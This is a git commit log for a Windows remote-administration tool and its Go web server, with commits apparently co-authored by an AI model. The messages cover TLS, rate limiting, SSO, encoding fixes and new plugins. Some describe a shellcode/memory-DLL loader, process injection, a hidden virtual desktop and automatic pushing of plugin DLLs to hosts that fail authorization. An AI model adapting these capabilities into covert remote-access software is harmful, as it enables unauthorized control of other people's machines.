55 Commits
Author SHA1 Message Date
yuanyuanxianganddeepseek-v4-pro d3a339247b Fix: reconnect after server restart without reinstalling the loader
The S_SERVER_EXIT respawn fix previously lived in test.cpp, which a
deployed TestRun.exe cannot pick up without reinstalling. Move the
reconnect decision into ClientDll::IsStoped(): when the master instance
is in S_SERVER_EXIT, report reconnectable immediately instead of waiting
for live shared instances to drain, so the already-deployed loader
reconnects against a hot-loaded DLL.

Shared instances stay connected to their own servers, preserving the
IsSharedRunning contract that the master's state change must not tear
them down.

Also guard the RUNNING_PARALLEL branch so re-entering StartClient on
reconnect spawns parallel instances once instead of duplicating them.

Co-Authored-By: deepseek-v4-pro
2026-10-16 21:36:52 +02:00
yuanyuanxianganddeepseek-v4-pro 33986f4893 Fix: shared-host respawn block and web login brand placeholder
Two unrelated fixes bundled here.

1. Client respawn (ClientDll.cpp EasyRun/Run, test.cpp Run): after a host
   is shared or transferred to another server, restarting the master
   (server A) left the host's main instance stuck, because the respawn
   loop waited on IsStoped() (g_bThreadExit && GetCount()==0), which never
   becomes true while a still-alive shared instance holds AddCount(1).
   S_SERVER_EXIT now triggers an immediate reconnect without waiting for
   shared instances; client-exit / update still waits for all instances to
   drain. Verified by 100 restart cycles.

2. Web login page (WebService.cpp): the MFC web server only substituted
   __BASE_PATH__ in index.html and left __BRAND_NAME__ as a literal token
   in the login page title/heading. Substitute it with "SimpleRemoter" to
   match the original branding and the Go server's default.

Co-Authored-By: deepseek-v4-pro
2026-10-16 21:08:42 +02:00
yuanyuanxianganddeepseek-v4-pro e5f5720867 Fix: Add missing FileManagerDlg translations to language files
FileManagerDlg.cpp still had several user-facing Chinese strings with no
entry in en_US/zh_TW/de_DE: the "invalid file handle", "no files
selected", "V2 transfer started", "V2 download request sent" and "main
connection not found" messages. Add translations for all five.

The "main connection not found" string contained a literal '=', which
CIniParser treats as the key/value delimiter, so it could never match as
a translation key. Reword it to "clientID %llu" (no '=') so the key
round-trips. The two Mprintf log lines on the V2 checksum path are
log-only and intentionally left untranslated.

Co-Authored-By: deepseek-v4-pro
2026-10-16 13:54:00 +02:00
yuanyuanxianganddeepseek-v4-pro d7b49a3d06 Feat: Add whitelist action to log-list right-click menu
Adds a "白名单" item after "解除封禁" in the message-log context menu.
It extracts the IP from each selected log entry, asks for confirmation,
then adds it to the shared IPWhitelist singleton — which IOCPServer and
the DLL rate limiter already consult live — so the entry takes effect on
new connections immediately, without a restart. The whitelist is
persisted to settings\IPWhitelist the same way the Network dialog does.

- An IP already in the whitelist is reported as such and skipped.
- An IP in the IP blacklist (banned) is reported as banned and skipped,
  rather than silently removed from the blacklist.
- Menu item, confirmation, and result strings are added to the
  en_US/zh_TW/de_DE language files.

Co-Authored-By: deepseek-v4-pro
2026-10-16 13:16:33 +02:00
yuanyuanxianganddeepseek-v4-pro c85039ea0a Fix: Online-host list column-toggle leaves ghost artifact after last column
CListCtrlEx::OnEraseBkgnd (with m_bSkipEraseBkgnd) only erases the empty
area below the last item, not the horizontal strip right of the last
column (the ~20px scrollbar reserve AdjustColumnWidths always leaves).
Changing the column count via SetColumnVisible/ToggleColumnVisibility
redistributed widths but never repainted with background erase, so stale
pixels from the previous last column lingered next to the new one (e.g.
after "TLS") until a tab switch or minimize/restore forced a full redraw.

Mirror the proven OnSize needRefresh path: temporarily lift the
skip-erase flag and issue a full RedrawWindow with
RDW_ERASE|RDW_INVALIDATE|RDW_ALLCHILDREN|RDW_UPDATENOW after each
visibility change.

Co-Authored-By: deepseek-v4-pro
2026-10-16 13:03:05 +02:00
yuanyuanxianganddeepseek-v4-pro a447452521 Fix: Silence SOCKET_DLLLOADER log flood and tighten device-port logging
SOCKET_DLLLOADER (210) is the shellcode / memory-DLL loader asking the
server for the full DLL payload before it can load the client. The MFC
master console serves it via SendServerDll; the Go web device port has no
payload to hand out, so every memory-DLL client startup/reconnect fell
into the default dispatch branch and logged "Unhandled command 210",
flooding the log. Add a protocol constant and drop the command silently.

While auditing the device-port logging surface:

- Downgrade wrapTLS's per-connection hex-dump lines and the screen-spy
  "[timing]" cold-start line from Info to Debug (they fire once per TCP
  connection / screen view and are diagnostics, not operational events).

- Distinguish a sub-connection hijack attempt from a plain orphan: when a
  screen/terminal sub-conn claims a MasterID from a source IP other than
  the device's login conn, log a dedicated Warn instead of mislabeling it
  as "orphan ... unknown device".

Co-Authored-By: deepseek-v4-pro
2026-10-16 12:26:35 +02:00
yuanyuanxiang 614b03994c Fix: No permission to share/transfer a client host issue 2026-10-16 07:35:53 +02:00
yuanyuanxianganddeepseek-v4-pro 99e3bcbc6d Feat: Per-client TLS transport toggle (TLS column + remote enable/disable)
Add a per-client TLS transport toggle controlled from the server, using the
presence of the client's trust-anchor certificate in the registry as the
single source of truth (no separate tls_enable flag).

- Client reports its TLS status via a new RES_TLS token (cert present -> 1)
  appended to LOGIN_INFOR's reserved field.
- Server online list gains a "TLS" column after the permission column.
- The "experimental features" right-click menu gains "TLS传输" / "取消TLS"
  with confirmation and a guard that prompts (instead of sending) when the
  server has no TLS certificate ready.
- New COMMAND_TLS_ENABLE / COMMAND_TLS_DISABLE (166/167): the server pushes
  its cert PEM into the client registry settings\tls_cert (enable) or deletes
  it (disable). The client picks this up on next startup via the existing
  ReadTrustAnchor logic, so the switch is non-live by design.
- Icons and en_US/zh_TW/de_DE translations for the new menu items.

Co-Authored-By: deepseek-v4-pro
2026-10-16 07:04:54 +02:00
yuanyuanxianganddeepseek-v4-pro 8f02e73b9c Fix: Refresh MCP menu checkmark after settings change
The MCP settings menu item's checkmark was set only once at startup in
CreateSolidMenu, so toggling MCP in the settings dialog left the menu stale
until restart. Update the checkmark in OnMcpSettings after the dialog closes
so it matches [settings] McpEnabled immediately.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro 7651ee8602 Feat: ConnAuth HMAC verification gated by YAMA_CONN_AUTH_KEY
Verify the HMAC-SHA256 signature and timestamp of device sub-connections
(screen/terminal/file) when the YAMA_CONN_AUTH_KEY environment variable is
set. With the key set, a sub-connection whose signature or clock skew fails
is answered with a non-OK ConnAuth status and dropped; without the key the
legacy always-OK behavior is preserved.

The key is never compiled in: it is read from the environment at startup, so
no secret enters the repository. Source-IP binding in hub.BindScreenConn
remains in place as defense-in-depth.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro 4ff965a2b4 Feat: White-label web UI branding for subpath deployments
When the web remote desktop is mounted under another domain's subpath
(YAMA_WEB_BASE_PATH non-empty), read the product title from
YAMA_WEB_BRAND_NAME, substitute it for the SimpleRemoter titles and
PWA manifest name, and strip the security notice and website links.
The brand name is JSON- and HTML-escaped so operator input can't
produce malformed output. Served from the domain root, the official
SimpleRemoter branding is left unchanged.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro 77b688c981 Feat: Fold hostname into client ID and log clone-ID collisions
Cloned miniPC images share the same MachineGuid, so their client_id
collides and only one host appears in the list. Fold the hostname into
the V2 client-ID hash so hosts with distinct names no longer collide.
Already-persisted client IDs are unchanged: they recompute only after
the settings/client_id registry value is cleared.

Server side, when a login reuses an existing client_id but the hostname,
IP, or username differs, emit a WARN diagnostic before assigning the
connection to the standby list. Observation-only, no behavior change.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro c93f09e9ac Feat: TLS certificate menu and config dialog for the MFC server
Add a "TLS证书" item to the Extensions menu below "MCP设置" that opens a
runtime-built dialog to enable one-way TLS and set the certificate and
private-key paths. On OK it writes the [tls] Enabled/CertPath/KeyPath keys
and calls ServerTlsIdentity::Load() so the change takes effect for new
connections immediately (design doc §7.1), mirroring the existing
CMcpSettingsDlg runtime-template pattern. All new strings are wired into
the en_US / zh_TW / de_DE language files, and the menu item is gated by
HIDE_MENU_TLS_CERTIFICATE / MF_TLS_CERTIFICATE like MCP settings.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:42:52 +02:00
yuanyuanxianganddeepseek-v4-pro 96b9eea70a Feat: One-way TLS transport for the MFC server
Add optional one-way TLS to the MFC server (server/2015Remote) so the device
port can serve both TLS clients and legacy plaintext clients on the same port,
mirroring the Go server.

Server: on a connection's first bytes, sniff for a TLS ClientHello (0x16 0x03
+ handshake type 0x01). When [tls] Enabled=1 and the identity loads, hand the
socket to a short-lived blocking handshake thread (Option A) running Schannel
AcceptSecurityContext, then decrypt on recv and encrypt on send; plaintext
connections replay the sniffed bytes straight into the existing parse path, so
the plaintext code path is otherwise unchanged. The identity is loaded once
from [tls] CertPath/KeyPath as PEM + CNG (PKCS#8) — the same key pair the Go
server uses — and a missing [tls] section, an empty value, or a load failure
leaves plaintext serving intact and fail-closes any TLS ClientHello.

Also fix two transport-reliability bugs that surfaced end-to-end:
- send path: encrypt only the freshly appended plaintext tail and post a
  single IOWrite wake-up guarded by a bSendPending flag, so back-to-back small
  sends (terminal resize -> COMMAND_NEXT -> resize) no longer run concurrent
  WSASends over the same mutable buffer (client saw DecryptMessage failures,
  with WSAGetLastError() = 6001 / ERROR_DECRYPTION_FAILED);
- client Recv: keep the handshake's unconsumed tail bytes in m_raw and drain
  them before the next recv, and log the real SECURITY_STATUS on
  DecryptMessage failure instead of the stale Winsock error.

Co-Authored-By: deepseek-v4-pro
2026-10-15 13:48:27 +02:00
yuanyuanxianganddeepseek-v4-pro ca0d7626d2 Feat: One-way TLS transport for the device port
Add optional one-way TLS on the device port (6543), enabled per client via a
pinned trust anchor, so new clients encrypt their transport while legacy
plaintext clients keep working unchanged.

Server (server/go): sniff each accepted connection and wrap TLS peers
(ClientHello 0x16 0x03 + handshake type 0x01) in crypto/tls with MinVersion
TLS 1.2; everything else stays on the plaintext path. TLS is enabled only when
both YAMA_TLS_CERT and YAMA_TLS_KEY are set, and a cert/key load failure fails
startup loudly rather than silently serving plaintext.

Client (client/, Windows): Schannel one-way TLS. When the trust anchor is
present — registry value Software\<exehash>\settings\tls_cert (REG_SZ holding
the PEM), with fallback to settings.ini [settings] tls_cert or yama-ca.pem
beside the exe — every outbound connection (main + sub-connections) completes
a TLS 1.2 handshake before the app protocol and is strictly pinned to that
anchor via a chain engine with hExclusiveRoot; any handshake/cert failure is
fail-closed (no plaintext downgrade). Send uses EncryptMessage; Recv uses
DecryptMessage and reads plaintext from the stream-mode DATA segment (bufs[1])
rather than the record header.

Co-Authored-By: deepseek-v4-pro
2026-10-14 21:10:21 +02:00
yuanyuanxianganddeepseek-v4-pro 8d4c118ae6 Fix: Skip video capture when camera fails to open
CCaptureVideo::Open now returns S_FALSE when BindVideoFilter cannot bind a capture device, instead of S_OK. CVideoManager records the result in m_bVideoOpened and exits WorkThread before SendBitMapInfor, so a host without a webcam no longer sends a 0x0 BITMAPINFO to the controller.

Co-Authored-By: deepseek-v4-pro
2026-10-13 17:05:37 +02:00
yuanyuanxianganddeepseek-v4-pro d477cbfee9 Fix: Treat a zero MaxBufferedBytes as disabled
Consistent with the per-IP limits, a zero cap now means "no limit" instead
of closing every connection after its first byte, so a Config built from
zero values cannot wedge the listener.

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:28:13 +02:00
yuanyuanxianganddeepseek-v4-pro 870a5832ea Security: Cap per-connection inbound buffer to prevent memory DoS
The protocol length field is validated to 50 MiB, but a peer that sends
bytes which never assemble into a complete packet — for example an HTTP-mask
envelope without its terminating CRLF CRLF, which Parse() waits on
indefinitely — could grow the per-connection input buffer without bound.
handleConnection now closes the connection once unparsed buffered bytes
exceed MaxBufferedBytes (default 50 MiB + 64 KiB slack, covering the largest
legitimate packet plus its mask envelope and a read chunk).

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:27:20 +02:00
yuanyuanxianganddeepseek-v4-pro 8e0f1283c6 Security: Add per-IP connection and login rate limiting
The TCP device port is exposed directly to the public internet, so a single
host must not be able to exhaust the global connection budget, flood new
connection attempts, or brute-force the device authorization passcode.

- server: cap concurrent connections and the accept rate per source IP
  (defaults 256 concurrent / 120 per minute, overridable via
  YAMA_PERIP_MAX_CONNS and YAMA_PERIP_CONN_RATE). Rejections happen at
  accept time, before any buffer or goroutine is allocated, and a rejected
  device simply retries on its reconnect loop.
- cmd: throttle TOKEN_AUTH per source IP (120/min) and answer over-limit
  attempts with a normal failed response so clients get a definitive reply.
- web: periodically sweep the login rate-limit maps so the username-keyed
  one (which is attacker-controlled) cannot grow without bound.

Per-IP defaults are generous enough that a NAT office whose devices share
one source IP is unaffected.

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:25:34 +02:00
yuanyuanxianganddeepseek-v4-pro 2de21b2b6b Fix: Bind screen/terminal sub-conns only to the device's source IP
A screen or terminal sub-connection was keyed solely by a MasterID that any
TCP peer may supply, so any internet host could claim an online device's
MasterID and bind a sub-conn in its place, hijacking the live screen stream
or a pending shell session. The ConnAuth signature cannot be verified on the
server because its key lives in a vendored client library, so the trust
anchor here is the source IP: sub-conns are always opened device-to-server
from the same host as the login conn. BindScreenConn and BindTerminalConn
now reject a sub-conn whose peer IP differs from the device's recorded
main-connection PeerIP.

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:19:39 +02:00
yuanyuanxianganddeepseek-v4-pro 53b7151fb7 Feature: Add admin-only SSO bridge to web UI
Bridge an already-authenticated portal session into a YAMA web session via
a new /sso endpoint, so portal administrators can enter the remote-desktop
UI without a second login. Only the "admin" portal role is bridged; any
other role (viewer, unknown) still falls back to the built-in login form,
so a low-privileged portal account cannot bypass authentication.

- wsauth: extract IssueToken from VerifyLogin so an out-of-band-authenticated
  identity (SSO) can mint a session token without the challenge/response.
- web: add the SSODetector interface, a fail-closed JWT detector (HMAC-only),
  and the /sso handler gated to the admin role.
- cmd: enable the JWT detector via YAMA_SSO_JWT_SECRET, the shared HS256
  secret matching the parent portal.
- web UI: attempt SSO before showing the login form, falling back to login
  when the server returns 401.
- docs: document SSO (admin-only) and license trial-vs-paid troubleshooting
  in README and the env example.

Co-Authored-By: deepseek-v4-pro
2026-10-13 15:46:04 +02:00
yuanyuanxianganddeepseek-v4-pro d2149851b2 Fix: Decode host-management and clipboard text as GBK/UTF-8 on non-Chinese systems
The 主机管理 dialog wrote client data (process names, window titles, net
connection state, software entries, IE history, favorites, services,
scheduled tasks, hosts) through the ANSI InsertItem/SetItemText path, which
re-converts through CP_ACP and garbles Chinese when the operator machine
runs a non-Chinese ACP. Decode each client string with its real code page
and write it via LVM_SETITEMTEXTW, mirroring SystemDlg::SetClientTextItem.
Scheduled-task columns are split by encoding: name/path/exe come from the
client as UTF-8 (BSTRToUTF8) while the status literal stays GBK. Also detect
a UTF-8 BOM in the hosts file so a Notepad-saved hosts (EF BB BF) no longer
shows "锘?" on its first line.

In the keyboard dialog, the clipboard preview edit was an ANSI-class window
filled via utf8_to_ansi (CP_ACP) + SetWindowTextA, so Chinese was replaced
with '?' before it reached the control. Rebuild m_EditClipText as a
Unicode-class window and write the UTF-8 clipboard text via SetWindowTextW,
matching the m_edit record control.

Co-Authored-By: deepseek-v4-pro
2026-10-12 15:41:24 +02:00
yuanyuanxianganddeepseek-v4-pro ca6f76565c Change: Hide client chat dialog on close instead of terminating
Closing the client-side chat dialog (via the "end chat" button or the title-bar
X) now only hides the window and keeps the session alive, instead of destroying
it. Closing the chat stays server-initiated: the next message from the server
reopens the hidden dialog via the existing SW_RESTORE path in OnReceive, and the
dialog is only truly destroyed on COMMAND_CHAT_CLOSE or connection close.

Co-Authored-By: deepseek-v4-pro
2026-10-10 14:39:34 +02:00
yuanyuanxianganddeepseek-v4-pro d15cd77a28 Fix: Decode geographic location as UTF-8 across client and server
Geographic location (city, country) from the geo APIs is UTF-8, but the client
and several server paths converted or stored it in the system ANSI code page,
turning umlauts ("ö"/"ä") into "?" or GBK mojibake ("B枚blingen"). Keep the
value UTF-8 end to end: the client caches it as UTF-8 and re-queries once after
an upgrade (keyed by __DATE__, the app's version convention), while the server
stores and displays it as UTF-8 in the online list, the activity log, the
client-info export, JSON/email payloads and search.

Also add a confirmation prompt before opening a remote chat from the toolbar,
with German, English and Traditional-Chinese translations.

Co-Authored-By: deepseek-v4-pro
2026-10-10 13:58:38 +02:00
yuanyuanxianganddeepseek-v4-pro 1a9312d2d1 Fix: Decode remote file-list names/paths from GBK/UTF-8 on non-Chinese systems
The Windows ghost client lists directories with FindFirstFileA, so remote
file names arrive as GBK/936 bytes. Both file-manager dialogs wrote them
back through ANSI InsertItem/SetItemText, which re-converts through CP_ACP
and garbles Chinese names when the operator machine runs a non-Chinese ACP.

Decode the name/path from the client encoding (GBK for Windows, UTF-8 for
LNX/MAC, chosen by RES_CLIENT_TYPE) and write the text via LVM_SETITEMTEXTW,
keeping the icon through an empty InsertItem - the same pattern used for the
process list, window list and client-list path.

Co-Authored-By: deepseek-v4-pro
2026-10-09 16:23:23 +02:00
yuanyuanxianganddeepseek-v4-pro f3a8406050 Fix: Decode client file path correctly in client list and info popup
The client reports its own exe path as UTF-8 in RES_FILE_PATH. Two
display sites re-decoded those bytes with the wrong code page and turned
Chinese paths into mojibake on non-Chinese servers:

- The client-list "程序路径" column wrote ProgramPath through the ANSI
  SetItemText path, so the UTF-8 bytes were misread as the system ACP.
  Decode UTF-8 to wide and write with LVM_SETITEMTEXTW instead (same
  pattern as the window/process lists).

- The double-click info popup normalized the client RES_* fields to the
  system ACP and rendered strText with CP_ACP -> wide. The app's internal
  ANSI convention is fixed GBK/936 (/execution-charset:.936 plus
  setlocale(".936")), so on non-Chinese systems the path collapsed to '?'.
  Normalize to 936 and decode 936 instead, which also fixes the popup's
  GBK labels and username in the same pass.

Co-Authored-By: deepseek-v4-pro
2026-10-09 15:00:39 +02:00
yuanyuanxianganddeepseek-v4-pro ff6b290580 Fix: Decode process list names/paths as GBK on Windows
Process management decoded the client's process name/path bytes with
GetClientEncoding, which returns UTF-8 for CLIENT_CAP_UTF8 clients. But
the Windows client builds the process list with the ANSI A-interface
(Process32FirstA / QueryFullProcessImageNameA), which emits the client's
system code page (GBK on Chinese Windows) regardless of the UTF-8
capability -- unlike window titles, which were migrated to the
W-interface plus UTF-8. Decoding GBK as UTF-8 garbled Chinese process
names and paths.

Add GetProcessListEncoding(): 936 for Windows clients, UTF-8 for
LNX/MAC, matching McpServer::BuildListProcesses, and use it in
ShowProcessList (which still writes via LVM_SETITEMTEXTW).

Also raise the IP history cap to 1000 and rename the experimental
"隐私屏幕" menu item to "虚拟屏幕".

Co-Authored-By: deepseek-v4-pro
2026-10-09 14:05:52 +02:00
yuanyuanxianganddeepseek-v4-pro da0ec983ba Feature: Show live transfer speed in file-transfer dialog title
Add a smoothed bytes-per-second readout to the CDlgFileSend title,
refreshed about every 200 ms during transfer (e.g. "发送文件 - 5.3M/s").
The base title is captured on the first progress frame and the speed
suffix applied through Unicode APIs (GetWindowTextW / SetWindowTextW),
so the whole title stays correct on non-Chinese systems where the ANSI
message path would misdecode GBK as the system ACP.

Also add the missing "接收文件 (V2)" translation (en_US "Receive File (V2)",
zh_TW "接收檔案 (V2)"), so the V2 receive title no longer falls back to
raw Chinese on non-Chinese systems.

Co-Authored-By: deepseek-v4-pro
2026-10-08 22:15:31 +02:00
yuanyuanxianganddeepseek-v4-pro 6220335f63 Fix: Decode GBK dialog/toolbar text on non-Chinese systems
MBCS dialog templates are decoded with the system ANSI code page, so on
non-Chinese systems the GBK template strings turn into "?" before
TranslateDialog can read them. Set those strings explicitly in OnInitDialog
(PluginSettings save/close, the three Advanced dialogs, the file-manager
search buttons/checkboxes, and Trigger Settings) so they are re-decoded
with the thread locale. Also fix the language-selection dialog and the
toolbar "Lang/语言" button: the language dialog's template is built as
WCHAR strings but created through the ANSI path, so its title, label, and
buttons are set explicitly in OnInitDialog (AppendString stays on CP_ACP),
with the title looked up via _TR("切换语言") and set through SetWindowTextW
after an explicit GBK conversion; new en_US ("Switch Language") and zh_TW
("切換語言") translations accompany it. The toolbar button is set through
the Unicode TB_SETBUTTONINFOW message after an explicit GBK conversion. Add
en_US/zh_TW translations for the experimental-features context menu items.

Co-Authored-By: deepseek-v4-pro
2026-10-08 21:53:53 +02:00
yuanyuanxianganddeepseek-v4-pro c7f7b7b29b Fix: Expand env vars in V2 file receive path
V2 upload to a remote directory picked via the quick-icon shortcuts
(Desktop / Downloads / Home) landed files in a literal "%USERPROFILE%"
folder instead of the real profile. The shortcuts set m_Remote_Path to an
unexpanded "%USERPROFILE%\..." template (FileManagerDlg.cpp
OnRemoteDesktop/Downloads/Home), and the V2 receive path handed that
filename straight to RecvFileChunkV2 (prebuilt FileUpload lib), which writes
it verbatim. V1 upload already expanded env vars in COMMAND_FILE_SIZE
(client/FileManager.cpp ExpandPath), so this is a V2-only regression.

Expand the filename's environment variables in CKernelManager::OnReceive's
COMMAND_SEND_FILE_V2 branch before RecvFileChunkV2, rebuilding the packet
only when the expanded length differs; other packet types pass through
unchanged.

Co-Authored-By: deepseek-v4-pro
2026-10-08 17:56:18 +02:00
yuanyuanxianganddeepseek-v4-pro 59fead7b5f Fix: Deliver file-transfer speed via MasterSettings (was CMD_FILE_SPEED)
The file-transfer speed dialog previously sent a separate CMD_FILE_SPEED
(5 bytes) back-to-back before COMMAND_SCREEN_SPY / COMMAND_LIST_DRIVE when
opening remote desktop or file manager. The IOCP send path batches two
consecutive Send2Client calls into one WSASend of the accumulated
OutCompressedBuffer, so the client received the [FILE_SPEED][SCREEN_SPY]
command stream twice - the root cause of two remote-desktop dialogs popping
up on a single click (introduced in commit 76decec).

Fold the two values into MasterSettings (TransferChunkKb / TransferDurationMs,
uint16 each, before Reserved, sizeof unchanged at 1000) so they reach every
client on login and are broadcast to online clients when the dialog saves.
The client persists them into [transfer] on CMD_MASTERSETTING, guarded by
TransferChunkKb != 0 so older masters keep local defaults. CMD_FILE_SPEED(252)
and its client handler remain for backward compatibility, but the master no
longer sends it.

Update the design doc, the three GBK lang files' prompt entry, and the READMEs.

Co-Authored-By: deepseek-v4-pro
2026-10-07 21:19:04 +02:00
yuanyuanxiang b89428bf35 Release v1.4.0 2026-10-07 13:57:34 +02:00
yuanyuanxianganddeepseek-v4-pro 3928dd76a3 Feature: Add icons to experimental features submenu
Add 16x16 menu icons for the three experimental-features items in the
online-host right-click menu: file management (folder), privacy screen
(shield with padlock), and drawing board (paintbrush). The new bitmaps
follow the existing #F0F0F0-background 32bpp convention and are wired
into the m_bmOnline array via LoadBitmap and SetMenuItemBitmaps, using
the same pattern as the other nested-submenu items.

Co-Authored-By: deepseek-v4-pro
2026-10-06 18:05:14 +02:00
yuanyuanxianganddeepseek-v4-pro d80d8f21da Feature: Add auth-failed trigger type (授权失败触发)
Add a second trigger type TRIGGER_AUTH_FAILED alongside the existing
TRIGGER_HOST_ONLINE. When a host's authorization fails — V1 or V2, at
initial TOKEN_AUTH or on a later heartbeat — the server fires the
auth-failed trigger and sends the configured plugin DLLs to the client,
gated by the existing ShouldLogAuth dedup so a persistently failing host
is re-triggered only once per hour or on a state change.

VerifyClientAuth gains a sender parameter so the failure branch can reach
the live connection context; both call sites (TOKEN_AUTH and heartbeat)
pass it. TriggerManager caches the auth-failed plugin names in a separate
set via HasAuthFailedTrigger/GetAuthFailedPlugins, leaving the online
trigger path untouched.

Rework the settings dialog so the plugin checklist reflects the currently
selected trigger type (new ReflectPluginsForType and a CBN_SELCHANGE
handler) instead of hardcoding the online trigger; remove the now-unused
GetOnlineTrigger helper. Add "授权失败" translations to en_US, zh_TW and
de_DE.

Co-Authored-By: deepseek-v4-pro
2026-10-06 17:50:30 +02:00
yuanyuanxianganddeepseek-v4-pro d269df9171 Feature: Migrate SimplePlugins drawing board (远程画板迁移)
Migrate the SimplePlugins remote drawing-board overlay into the YAMA client
as an "实验功能" right-click submenu entry. DrawingBoardMgr is isolated in
the SimplePluginsDrawingBoard namespace and draws pen paths and text onto a
transparent, top-most layered window.

The YAMA server already had the CDrawingBoard dialog, TOKEN_DRAWING_BOARD
(151) and the full RemoteDraw command set, so only the client overlay
manager and the menu wiring were missing. Add COMMAND_DRAWING_BOARD_PLUGIN
(165) and LoopDrawingBoardPlugin, spawned as a sub-connection from
KernelManager; the constructor sends TOKEN_DRAWING_BOARD so the existing
server dialog opens unchanged. Add a "远程画板" entry to the "实验功能"
submenu, routed via OnExperimentDrawingBoard.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:52:58 +02:00
yuanyuanxianganddeepseek-v4-pro 2fb6252285 Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)
Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the
YAMA client as an "实验功能" right-click submenu entry. The capture layer is
rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy
(vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of
SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and
CScreenHideManager are migrated under the SimplePluginsScreenHide namespace,
and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF.

Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned
as a sub-connection from KernelManager. The constructor sends
TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged.
Add a "隐私屏幕" entry to the "实验功能" submenu, routed via
OnExperimentPrivateScreen.

Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:41:04 +02:00
yuanyuanxianganddeepseek-v4-pro 2c3e1ca518 Feature: Migrate SimplePlugins file management (文件管理迁移)
Migrate the SimplePlugins file-management feature into the YAMA client as an
experimental feature. The migrated CFileManager, MasterEncoder and Info-Zip
sources live under client/file/ and are isolated in the SimplePluginsFile
namespace to avoid clashing with the native FileManager class.

Add COMMAND_FILE_MANAGER_PLUGIN (163) and LoopFileManagerPlugin, spawned as
a sub-connection from KernelManager. Add an "实验功能" submenu with a
"文件管理" entry above "客户管理" in the online-hosts right-click menu,
routed via OnExperimentFileManager to the existing TOKEN_DRIVE_LIST_PLUGIN
dialog path.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:09:26 +02:00
yuanyuanxianganddeepseek-v4-pro f72fda9b71 Feature: Machine management (主机管理)
Migrate the MachineManager client from SimplePlugins and wire the server toolbar.

Client:
- Add CMachineManager (process/window/net/software/IE history/favorites/service/task/hosts
  enumeration plus process injection via yapi.hpp).
- Add COMMAND_MACHINE_MANAGE (162) and spawn the manager on an authenticated
  sub-connection in KernelManager.
- Register MachineManager.cpp/.h and yapi.hpp in both client projects.

Server:
- Add the 主机管理 toolbar button (index 18, after 远程交谈) reusing the IDI_MACHINE icon,
  plus en/zh_TW/de translations.

Fix:
- Free the IEnumSTATURL strings (su.pwcsUrl/su.pwcsTitle) with CoTaskMemFree, release the
  enumerator, and set STATURL.cbSize to stop the IE-history leak reported by VLD.

Co-Authored-By: deepseek-v4-pro
2026-10-04 21:03:03 +02:00
yuanyuanxianganddeepseek-v4-pro c906a46bcc Fix: garbled instant-message popup title on client
The IDD_DIALOG caption was stored as UTF-8 bytes while the .rc file declares #pragma code_page(936) (GBK), so the resource compiler mis-decoded the caption and the client's bottom-right popup showed a garbled title. Convert the caption to GBK to match the declared code page and the rest of the file.

Co-Authored-By: deepseek-v4-pro
2026-10-04 20:10:12 +02:00
yuanyuanxianganddeepseek-v4-pro 6c9fef8793 Feature: Two-way remote chat (远程交谈)
Add a "远程交谈" toolbar button (placed after 连接管理) that sends COMMAND_CHAT(161) to the selected host. The host opens a sub-connection and the new CChatManager replies with TOKEN_CHAT_START(62) to open the server's existing CChat dialog. The host's chat window stays hidden until the first message or a screen-lock command arrives, and it supports server-triggered screen lock/unlock.

Co-Authored-By: deepseek-v4-pro
2026-10-04 19:55:29 +02:00
yuanyuanxianganddeepseek-v4-pro bbdb4104bf Feature: TCP/UDP connection management with force-disconnect
Add a connection-management feature to YAMA: a toolbar button (after MCP)
opens a dialog listing the managed host's TCP/UDP connections, with
right-click force-disconnect for IPv4 TCP rows.

Client: a new CConnectionsManager enumerates connections via iphlpapi
(GetExtendedTcpTable/GetExtendedUdpTable, IPv4+IPv6) and answers the
refresh and kill commands over a sub-connection.

Server: a new CConnectionsDlg (DialogBase) shows the list with sortable
columns and a right-click menu; the title-bar icon reuses the toolbar's
connection icon (res/connections.ico).

Fix byte order found during review: iphlpapi returns an IPv4 address as a
network-order DWORD and the port's low 16 bits in network order, so
storing them raw made the dialog show reversed IPv4 addresses and ports.
The client now stores addresses as network-order bytes and ports as host
order (ntohs), and reverses the conversion on disconnect.

Co-Authored-By: deepseek-v4-pro
2026-10-04 18:23:06 +02:00
yuanyuanxianganddeepseek-v4-pro 8d0f419093 Improve: multi-line keyword input in notification settings
Replace the single-line, semicolon-separated keyword field with a taller
multi-line edit box (with a vertical scrollbar) where each keyword goes on
its own line. The stored format stays semicolon-separated, so existing
notify.ini files remain valid; load/save convert between newlines and
semicolons, trimming each keyword and skipping empty lines.

Also decode the stored matchPattern as UTF-8 when loading the dialog, so
non-ASCII keywords round-trip correctly (matching the CP_UTF8 encoding
used on save).

Co-Authored-By: deepseek-v4-pro
2026-10-04 14:39:38 +02:00
yuanyuanxianganddeepseek-v4-pro f3a05c14b1 Feature: Play remote audio on iPhone via WebAudio + self-hosted Opus WASM
iOS WebKit lacks Media Source Extensions with WebM/Opus, so remote audio
was silent on iPhone Safari/Chrome even though audio frames kept flowing.
Add a Web Audio API fallback path that decodes Opus packets with the
`opus-decoder` WASM library and schedules them onto an AudioContext.

The decoder bundle is now self-hosted — served at /static/opus-decoder.min.js
by both the Go and C++ servers — instead of pulled from a CDN, which was
unreachable from some networks.

